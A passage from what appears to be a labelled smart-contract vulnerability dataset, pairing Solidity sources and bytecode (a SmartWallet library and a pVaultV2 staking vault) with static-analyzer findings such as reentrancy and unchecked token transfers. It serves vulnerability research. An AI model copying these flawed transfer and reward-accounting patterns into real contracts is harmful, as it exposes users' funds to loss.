5080838395509550955050505093509350939050565b6000806000806133cd8589612ccc90919063ffffffff16565b905060006133e48689612ccc90919063ffffffff16565b905060006133fb8789612ccc90919063ffffffff16565b9050600061342482613416858761317f90919063ffffffff16565b61317f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061344c81614427565b92915050565b60008151905061346181614427565b92915050565b6000813590506134768161443e565b92915050565b60008135905061348b81614455565b92915050565b6000602082840312156134a7576134a6613fdc565b5b60006134b58482850161343d565b91505092915050565b6000602082840312156134d4576134d3613fdc565b5b60006134e284828501613452565b91505092915050565b6000806040838503121561350257613501613fdc565b5b60006135108582860161343d565b92505060206135218582860161343d565b9150509250929050565b60008060006060848603121561354457613543613fdc565b5b60006135528682870161343d565b93505060206135638682870161343d565b92505060406135748682870161347c565b9150509250925092565b6000806040838503121561359557613594613fdc565b5b60006135a38582860161343d565b92505060206135b48582860161347c565b9150509250929050565b6000602082840312156135d4576135d3613fdc565b5b60006135e284828501613467565b91505092915050565b60006020828403121561360157613600613fdc565b5b600061360f8482850161347c565b91505092915050565b6000806040838503121561362f5761362e613fdc565b5b600061363d8582860161347c565b925050602061364e8582860161347c565b9150509250929050565b60006136648383613670565b60208301905092915050565b61367981613e50565b82525050565b61368881613e50565b82525050565b600061369982613cf6565b6136a38185613d19565b93506136ae83613ce6565b8060005b838110156136df5781516136c68882613658565b97506136d183613d0c565b9250506001810190506136b2565b5085935050505092915050565b6136f581613e62565b82525050565b61370481613ea5565b82525050565b61371381613eb7565b82525050565b600061372482613d01565b61372e8185613d2a565b935061373e818560208601613eed565b61374781613fe1565b840191505092915050565b600061375f602383613d2a565b915061376a82613ff2565b604082019050919050565b6000613782601883613d2a565b915061378d82614041565b602082019050919050565b60006137a5602a83613d2a565b91506137b08261406a565b604082019050919050565b60006137c8601c83613d2a565b91506137d3826140b9565b602082019050919050565b60006137eb602683613d2a565b91506137f6826140e2565b604082019050919050565b600061380e602283613d2a565b915061381982614131565b604082019050919050565b6000613831600f83613d2a565b915061383c82614180565b602082019050919050565b6000613854601b83613d2a565b915061385f826141a9565b602082019050919050565b6000613877603483613d2a565b9150613882826141d2565b604082019050919050565b600061389a602183613d2a565b91506138a582614221565b604082019050919050565b60006138bd602083613d2a565b91506138c882614270565b602082019050919050565b60006138e0602983613d2a565b91506138eb82614299565b604082019050919050565b6000613903602583613d2a565b915061390e826142e8565b604082019050919050565b6000613926602383613d2a565b915061393182614337565b604082019050919050565b6000613949600d83613d2a565b915061395482614386565b602082019050919050565b600061396c602483613d2a565b9150613977826143af565b604082019050919050565b600061398f600c83613d2a565b915061399a826143fe565b602082019050919050565b6139ae81613e8e565b82525050565b6139bd81613e98565b82525050565b60006020820190506139d8600083018461367f565b92915050565b60006020820190506139f360008301846136ec565b92915050565b6000602082019050613a0e60008301846136fb565b92915050565b60006020820190508181036000830152613a2e8184613719565b905092915050565b60006020820190508181036000830152613a4f81613752565b9050919050565b60006020820190508181036000830152613a6f81613775565b9050919050565b60006020820190508181036000830152613a8f81613798565b9050919050565b60006020820190508181036000830152613aaf816137bb565b9050919050565b60006020820190508181036000830152613acf816137de565b9050919050565b60006020820190508181036000830152613aef81613801565b9050919050565b60006020820190508181036000830152613b0f81613824565b9050919050565b60006020820190508181036000830152613b2f81613847565b9050919050565b60006020820190508181036000830152613b4f8161386a565b9050919050565b60006020820190508181036000830152613b6f8161388d565b9050919050565b60006020820190508181036000830152613b8f816138b0565b9050919050565b60006020820190508181036000830152613baf816138d3565b9050919050565b60006020820190508181036000830152613bcf816138f6565b9050919050565b60006020820190508181036000830152613bef81613919565b9050919050565b60006020820190508181036000830152613c0f8161393c565b9050919050565b60006020820190508181036000830152613c2f8161395f565b9050919050565b60006020820190508181036000830152613c4f81613982565b9050919050565b6000602082019050613c6b60008301846139a5565b92915050565b600060a082019050613c8660008301886139a5565b613c93602083018761370a565b8181036040830152613ca5818661368e565b9050613cb4606083018561367f565b613cc160808301846139a5565b9695505050505050565b6000602082019050613ce060008301846139b4565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613d4682613e8e565b9150613d5183613e8e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d8657613d85613f20565b5b828201905092915050565b6000613d9c82613e8e565b9150613da783613e8e565b925082613db757613db6613f4f565b5b828204905092915050565b6000613dcd82613e8e565b9150613dd883613e8e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e1157613e10613f20565b5b828202905092915050565b6000613e2782613e8e565b9150613e3283613e8e565b925082821015613e4557613e44613f20565b5b828203905092915050565b6000613e5b82613e6e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613eb082613ec9565b9050919050565b6000613ec282613e8e565b9050919050565b6000613ed482613edb565b9050919050565b6000613ee682613e6e565b9050919050565b60005b83811015613f0b578082015181840152602081019050613ef0565b83811115613f1a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e7420746f6f206d7563680000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3125000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61443081613e50565b811461443b57600080fd5b50565b61444781613e62565b811461445257600080fd5b50565b61445e81613e8e565b811461446957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220713075fb2c6dcae02e89b88081d0992b9fd736cddd8209b4486c79e98fa98ce464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7
0x2df514a060bbd105ea428182e8b140454f426d15
pragma solidity ^0.4.24; contract IERC20Token { // these functions aren&#39;t abstract since the compiler emits automatically generated getter functions as external function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract Ownable { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /* @dev constructor */ constructor (address _owner) public { owner = _owner; } /* @dev allows execution by the owner only */ modifier ownerOnly { require(msg.sender == owner); _; } /* @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /* @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Utils { /* @dev constructor */ constructor() public { } /* @dev verifies that an amount is greater than zero */ modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } /* @dev validates an address - currently only checks that it isn&#39;t null */ modifier validAddress(address _address) { require(_address != 0x0); _; } /* @dev verifies that the address is different than this contract address */ modifier notThis(address _address) { require(_address != address(this)); _; } /* @dev verifies that the string is not empty */ modifier notEmpty(string _str) { require(bytes(_str).length > 0); _; } // Overflow protected math functions /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y); return _x - _y; } /* @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract WithdrawalConfigurations is Ownable, Utils { /* * Members */ uint public minWithdrawalCoolingPeriod; uint constant maxWithdrawalCoolingPeriod = 12 * 1 weeks; // = 14515200 seconds uint public withdrawalCoolingPeriod; /* * Events */ event WithdrawalRequested(address _sender, address _smartWallet); event SetWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod); /* @dev constructor @param _withdrawalCoolingPeriod The cooling period @param _minWithdrawalCoolingPeriod The minimum time from withdraw request to allow performing it */ constructor (uint _withdrawalCoolingPeriod, uint _minWithdrawalCoolingPeriod) Ownable(msg.sender) public { require(_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= _minWithdrawalCoolingPeriod); require(_minWithdrawalCoolingPeriod >= 0); minWithdrawalCoolingPeriod = _minWithdrawalCoolingPeriod; withdrawalCoolingPeriod = _withdrawalCoolingPeriod; } /* @dev Get the withdrawalCoolingPeriod parameter value. */ function getWithdrawalCoolingPeriod() external view returns(uint) { return withdrawalCoolingPeriod; } /* @dev Set the withdrawalCoolingPeriod parameter value. @param _withdrawalCoolingPeriod Cooling period in seconds */ function setWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod) ownerOnly() public { require (_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= minWithdrawalCoolingPeriod); withdrawalCoolingPeriod = _withdrawalCoolingPeriod; emit SetWithdrawalCoolingPeriod(_withdrawalCoolingPeriod); } /* @dev Fire the WithdrawalRequested event. @param _userWithdrawalAccount User withdrawal account address @param _sender The user account, activating this request */ function emitWithrawalRequestEvent(address _sender, address _smartWallet) public { emit WithdrawalRequested(_sender, _smartWallet); } } library SmartWalletLib { /* * Structs */ struct Wallet { address operatorAccount; address userWithdrawalAccount; address feesAccount; uint withdrawAllowedAt; //In seconds } /* * Members */ string constant VERSION = "1.1"; address constant withdrawalConfigurationsContract = 0xDdD336eAad17F1D40cc81997Fb956608f00639FF; /* * Modifiers */ modifier validAddress(address _address) { require(_address != 0x0); _; } modifier addressNotSet(address _address) { require(_address == 0); _; } modifier operatorOnly(address _operatorAccount) { require(msg.sender == _operatorAccount); _; } modifier userWithdrawalAccountOnly(Wallet storage _self) { require(msg.sender == _self.userWithdrawalAccount); _; } /* * Events */ event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev Initialize the wallet with the operator and backupAccount address @param _self Wallet storage @param _operator The operator account @param _feesAccount The account to transfer fees to */ function initWallet(Wallet storage _self, address _operator, address _feesAccount) public validAddress(_operator) validAddress(_feesAccount) { _self.operatorAccount = _operator; _self.feesAccount = _feesAccount; } /* @dev Setting the account of the user to send funds to. @param _self Wallet storage @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(Wallet storage _self, address _userWithdrawalAccount) public operatorOnly(_self.operatorAccount) validAddress(_userWithdrawalAccount) addressNotSet(_self.userWithdrawalAccount) { _self.userWithdrawalAccount = _userWithdrawalAccount; emit SetUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer @param _fee Fee to transfer */ function transferToUserWithdrawalAccount(Wallet storage _self, IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public operatorOnly(_self.operatorAccount) validAddress(_self.userWithdrawalAccount) { if (_fee > 0) { _feesToken.transfer(_self.feesAccount, _fee); } _token.transfer(_self.userWithdrawalAccount, _amount); emit TransferToUserWithdrawalAccount(_token, _self.userWithdrawalAccount, _amount, _feesToken, _self.feesAccount, _fee); } /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev user request withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function requestWithdraw(Wallet storage _self) public userWithdrawalAccountOnly(_self) { WithdrawalConfigurations withdrawalConfigurations = WithdrawalConfigurations(withdrawalConfigurationsContract); _self.withdrawAllowedAt = safeAdd(now, withdrawalConfigurations.getWithdrawalCoolingPeriod()); withdrawalConfigurations.emitWithrawalRequestEvent(msg.sender, address(this)); } /* @dev user perform withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function performUserWithdraw(Wallet storage _self, IERC20Token _token) public userWithdrawalAccountOnly(_self) { require(_self.withdrawAllowedAt != 0 && _self.withdrawAllowedAt <= now ); uint userBalance = _token.balanceOf(this); _token.transfer(_self.userWithdrawalAccount, userBalance); emit PerformUserWithdraw(_token, _self.userWithdrawalAccount, userBalance); } } contract SmartWallet { /* * Members */ using SmartWalletLib for SmartWalletLib.Wallet; SmartWalletLib.Wallet public wallet; // Wallet public wallet; /* * Events */ event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev constructor @param _backupAccount A default operator&#39;s account to send funds to, in cases where the user account is unavailable or lost @param _operator The contract operator address @param _feesAccount The account to transfer fees to */ constructor (address _operator, address _feesAccount) public { wallet.initWallet(_operator, _feesAccount); } /* @dev Setting the account of the user to send funds to. @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(address _userWithdrawalAccount) public { wallet.setUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer */ function transferToUserWithdrawalAccount(IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public { wallet.transferToUserWithdrawalAccount(_token, _amount, _feesToken, _fee); } /* @dev Allows the user to request a withdraw of his/her placements @param _token The ERC20 token the user wishes to withdraw from */ function requestWithdraw() public { wallet.requestWithdraw(); } /* @dev Allows the user to perform the requestWithdraw operation @param _token The ERC20 token the user withdraws from */ function performUserWithdraw(IERC20Token _token) public { wallet.performUserWithdraw(_token); } }
0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631d9082c48114610071578063521eb273146100a15780639219baa4146100eb578063b3423eec1461010c578063fe35530c14610121575b600080fd5b34801561007d57600080fd5b5061009f600160a060020a036004358116906024359060443516606435610142565b005b3480156100ad57600080fd5b506100b66101ee565b60408051600160a060020a03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b3480156100f757600080fd5b5061009f600160a060020a0360043516610211565b34801561011857600080fd5b5061009f6102a4565b34801561012d57600080fd5b5061009f600160a060020a0360043516610327565b604080517f1557a52f000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a0380881660248401526044830187905285166064830152608482018490529151734a3cc40b9c78ca394e288e0f645907a8a8fcefca92631557a52f9260a48082019391829003018186803b1580156101d057600080fd5b505af41580156101e4573d6000803e3d6000fd5b5050505050505050565b600054600154600254600354600160a060020a0393841693928316929091169084565b604080517fb2d07945000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03841660248301529151734a3cc40b9c78ca394e288e0f645907a8a8fcefca9263b2d079459260448082019391829003018186803b15801561028957600080fd5b505af415801561029d573d6000803e3d6000fd5b5050505050565b604080517f3be5e49f0000000000000000000000000000000000000000000000000000000081526000600482018190529151734a3cc40b9c78ca394e288e0f645907a8a8fcefca92633be5e49f9260248082019391829003018186803b15801561030d57600080fd5b505af4158015610321573d6000803e3d6000fd5b50505050565b604080517f2eb9e5d7000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03841660248301529151734a3cc40b9c78ca394e288e0f645907a8a8fcefca92632eb9e5d79260448082019391829003018186803b15801561028957600080fd00a165627a7a723058205073597116b7b71c0560d912d3593a9c23c16b370d182ba2ea2d28defe0ce4b30029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8
0x1e232f3074e6b9eadf18aad92844eee2b4b33744
/** *Submitted for verification at Etherscan.io on 2020-11-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604